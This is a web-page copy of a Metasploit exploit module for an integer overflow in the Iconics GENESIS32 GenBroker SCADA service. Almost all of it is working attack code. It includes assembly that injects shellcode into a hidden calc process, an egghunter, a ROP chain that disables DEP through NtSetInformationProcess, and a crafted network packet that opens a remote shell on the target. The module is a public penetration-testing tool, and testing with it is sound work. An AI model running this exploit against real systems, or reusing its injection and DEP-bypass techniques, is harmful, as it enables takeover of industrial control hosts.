CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/iconics_genbroker.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Egghunter
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "Iconics GENESIS32 Integer Overflow Version 9.21.201.01",
15
'Description' => %q{
16
The GenBroker service on port 38080 is affected by three integer overflow
17
vulnerabilities while handling opcode 0x4b0, which is caused by abusing the
18
the memory allocations needed for the number of elements passed by the client.
19
This results unexpected behaviors such as direct registry calls, memory location
20
calls, or arbitrary remote code execution. Please note that in order to ensure
21
reliability, this exploit will try to open calc (hidden), inject itself into the
22
process, and then open up a shell session. Also, DEP bypass is supported.
23
},
24
'License' => MSF_LICENSE,
25
'Author' =>
26
[
27
'Luigi Auriemma', #Initial discovery, poc
28
'Lincoln', #Metasploit
29
'corelanc0d3r <peter.ve[at]corelan.be>', #Metasploit + custom migrate fu
30
],
31
'References' =>
32
[
33
['OSVDB', '72817'],
34
['URL', 'http://aluigi.org/adv/genesis_4-adv.txt'],
35
['URL', 'https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-080-02']
36
],
37
'Payload' =>
38
{
39
'BadChars' => "\x00",
40
},
41
'DefaultOptions' =>
42
{
43
'EXITFUNC' => "thread",
44
},
45
'Platform' => 'win',
46
'Targets' =>
47
[
48
[
49
'Windows XP',
50
{
51
'Ret' => "\x70\x45",
52
'Max' => 9000,
53
}
54
],
55
],
56
'Privileged' => false,
57
'DisclosureDate' => '2011-03-21',
58
'DefaultTarget' => 0))
59
60
register_options(
61
[
62
Opt::RPORT(38080)
63
])
64
end
65
66
def exploit
67
68
migrate_asm = %Q|
69
add esp,-500 ; adjust the stack to be sure
70
pushad ; save stuff
71
72
find_kernel32: ;find kernel32
73
push esi ; Save esi
74
xor esi, esi ; Zero esi
75
mov eax, fs:[esi + 0x4] ; Extract TEB
76
mov eax, [eax - 0x1c]
77
find_kernel32_base:
78
find_kernel32_base_loop:
79
dec eax ; Subtract to our next page
80
xor ax, ax ; Zero the lower half
81
cmp word [eax], 0x5a4d ; Is this the top of kernel32?
82
jne find_kernel32_base_loop ; Nope? Try again.
83
find_kernel32_base_finished:
84
pop esi ; Restore esi
85
86
mov edx,eax ; save base of kernel32 in edx
87
88
jmp main_routine
89
90
; find function pointer
91
find_function:
92
pushad ;save all registers
93
mov ebp, [esp + 0x24] ;base address of module that is being loaded in ebp
94
mov eax, [ebp + 0x3c] ;skip over MSDOS header
95
mov edx, [ebp + eax + 0x78] ;go to export table and put RVA in edx
96
add edx, ebp ;add base address to it.
97
mov ecx, [edx + 0x18] ;set up counter ECX (how many exported items are in array ?)
98
99
mov ebx, [edx + 0x20] ;put names table relative offset in ebx
100
add ebx, ebp ;add base address to it (ebx = absolute address of names table)
101
102
;(should never happen)
103
;unless function could not be found
104
find_function_loop:
105
jecxz find_function_finished ;if ecx=0, then last symbol has been checked.
106
107
dec ecx ;ecx=ecx-1
108
;with the current symbol
109
;and store offset in esi
110
mov esi, [ebx + ecx * 4] ;get relative offset of the name associated
111
add esi, ebp ;add base address (esi = absolute address of current symbol)
112
113
compute_hash:
114
xor edi, edi ;zero out edi
115
xor eax, eax ;zero out eax
116
cld ;clear direction flag.
117
118
compute_hash_again:
119
lodsb ;load bytes at esi (current symbol name) into al, + increment esi
120
test al, al ;end of string ?
121
jz compute_hash_finished ;yes
122
ror edi, 0xd ;no, rotate value of hash 13 bits to the right
123
add edi, eax ;add current character of symbol name to hash accumulator
124
jmp compute_hash_again ;continue loop
125
126
compute_hash_finished:
127
128
find_function_compare:
129
cmp edi, [esp + 0x28] ;see if computed hash matches requested hash (at esp+0x28)
130
jnz find_function_loop ;no match, go to next symbol
131
mov ebx, [edx + 0x24] ;if match : extract ordinals table (relative offset and put in ebx)
132
add ebx, ebp ;add base address (ebx = absolute address of ordinals address table)
133
mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes)
134
mov ebx, [edx + 0x1c] ;get address table relative and put in ebx
135
add ebx, ebp ;add base address (ebx = absolute address of address table)
136
mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal and put in eax
137
add eax, ebp ;add base address (eax = absolute address of function address)
138
mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad (return func addr in eax)
139
140
find_function_finished: ;retrieve original registers (eax will contain function address)
141
popad
142
ret
143
144
;--------------------------------------------------------------------------------------
145
find_funcs_for_dll:
146
lodsd ;load current hash into eax (pointed to by esi)
147
push eax ;push hash to stack
148
push edx ;push base address of dll to stack
149
call find_function
150
mov [edi], eax ;write function pointer into address at edi
151
add esp, 0x08 ;adjust stack
152
add edi, 0x04 ;increase edi to store next pointer
153
cmp esi, ecx ;did we process all hashes yet ?
154
jne find_funcs_for_dll ;get next hash and lookup function pointer
155
find_funcs_for_dll_finished:
156
ret
157
158
;--------------------------------------------------------------------------------------
159
main_routine:
160
sub esp,0x1c ;allocate space on stack to store function addresses + ptr to string
161
mov ebp,esp
162
; ebp+4 : GetStartupInfo
163
; ebp+8 : CreateProcess
164
; ebp+C : VirtualAllocEx
165
; ebp+10 : WriteProcessMemory
166
; ebp+14 : CreateRemoteThread
167
; ebp+18 : Sleep
168
; ebp+1c : ptr to calc
169
170
jmp get_func_hash
171
get_func_hash_return:
172
173
pop esi ;get pointer to hashes into esi
174
;edi will be increased with 0x04 for each hash
175
lea edi, [ebp+0x4] ;we will store the function addresses at edi
176
177
mov ecx,esi
178
add ecx,0x18
179
call find_funcs_for_dll ;get function pointers for all hashes
180
181
; get our own startupinfo at esp+0x60
182
; ebp+4 = GetStartupInfo
183
mov edx,esp
184
add edx,0x60
185
push edx
186
call [ebp+0x4]
187
;ptr to startupinfo is in eax
188
189
; create a new process
190
; pointer to string is in ecx
191
; ebp+8 = CreateProcessA
192
; ptr to startupinfo is now in eax
193
; no need to patch startupinfo, target runs as a service
194
; +2c : dwFlags : set to 0x1
195
; +30 : wShowWind : set to 0 (hide)
196
197
; create the process
198
mov edi,eax
199
add edi,48
200
push edi ; lpProcessInformation : write processinfo here
201
push eax ; lpStartupInfo : current info (read)
202
push 0 ; lpCurrentDirectory
203
push 0 ; lpEnvironment
204
push 0x08000000 ; dwCreationFlags
205
push 0 ; bInHeritHandles
206
push 0
207
push 0
208
push esi ; ptr to calc
209
push 0
210
call [ebp+0x8]
211
; muahah calc ftw, now sleep a bit
212
push 0xbb8 ; 3 seconds
213
call [ebp+0x18]
214
215
; allocate memory in the process (VirtualAllocEx())
216
; get handle
217
mov ecx,[edi]
218
push 0x40 ; RWX
219
push 0x1000 ; MEM_COMMIT
220
push 0x1000 ; size
221
push 0 ; address
222
push ecx ; handle
223
call [ebp+0xc]
224
225
; eax now contains the destination
226
; WriteProcessMemory()
227
mov ecx,[edi] ; pick up handle again
228
push 0x1000 ; size
229
; pick up pointer to shellcode & push to stack
230
mov ebx,[esp+0x20]
231
add ebx,320
232
push ebx ; source
233
push eax ; destination
234
push ecx ; handle
235
call [ebp+0x10]
236
237
; run the code (CreateRemoteThread())
238
mov ecx,[edi] ; pick up handle again
239
push 0 ; lpthreadID
240
push 0 ; run immediately
241
push 0 ; no parameter
242
mov ebx,[esp-0x4]
243
push ebx ; shellcode
244
push 0x2000 ; stacksize
245
push 0 ; lpThreadAttributes
246
push ecx
247
call [ebp+0x14] ; go baby !
248
249
250
get_func_hash:
251
call get_func_hash_return
252
db 0xD7 ;GetStartupInfoA
253
db 0xE3
254
db 0x7A
255
db 0x86
256
db 0x72 ;CreateProcessA
257
db 0xfe
258
db 0xb3
259
db 0x16
260
db 0x9c ;VirtualAllocEx
261
db 0x95
262
db 0x1a
263
db 0x6e
264
db 0xa1 ;WriteProcessMemory
265
db 0x6a
266
db 0x3d
267
db 0xd8
268
db 0xdd ;CreateRemoteThread
269
db 0x9c
270
db 0xbd
271
db 0x72 ;Sleep
272
db 0xB0
273
db 0x49
274
db 0x2D
275
db 0xDB
276
277
; sneak in ptr to string too :)
278
db "calc"
279
db 0x00
280
|
281
282
migrate = Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
283
284
nops = make_nops(10) * 4
285
thepayload = migrate << nops << payload.encoded
286
287
eggoptions =
288
{
289
:eggtag => 'w00t',
290
}
291
292
hunter, egg = generate_egghunter(thepayload, "", eggoptions)
293
294
header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
295
header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
296
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
297
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"
298
299
rop_chain =
300
[
301
0x100b257b, # POP ESP # RETN
302
0x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py)
303
0x10047355, # Duplicate, readable, RETN
304
0x10047355, # POP EAX # RETN ** [GenClientU.dll]
305
0xffffffde,
306
0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]
307
0x1011e33e, # XCHG EAX,EDX # RETN
308
0x1001ab22, # POP ECX # RETN ** [GenClientU.dll]
309
0x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)
310
0x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll]
311
0x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]
312
0x10080163, # POP ESI # RETN -> EDI
313
0x41414141,
314
0x41414141,
315
0xffffffff, # NtCurrentProcess() (EBX)
316
0x7c331d24, # ptr to 0x2 -> ECX
317
0x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll]
318
0x10047355, # POP EAX # RETN ** [GenClientU.dll]
319
0xfffffffc,
320
0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]
321
0x100dda84, # PUSHAD # RETN ** [GenClientU.dll]
322
0x90908aeb, # go to egghunter
323
].pack('V*')
324
325
sploit = target['Ret'] * 180
326
sploit << [0x74757677].pack('V') * 8
327
sploit << "\x77\x77"
328
sploit << hunter #32 byte hunter, no room for checksum
329
sploit << rop_chain
330
sploit << make_nops(28)
331
sploit << egg
332
333
sploit << rand_text_alpha(target['Max']-sploit.length)
334
335
connect
336
print_status("Sending request. This will take a few seconds...")
337
sock.put(header + sploit)
338
339
handler
340
disconnect
341
342
end
343
end
344
345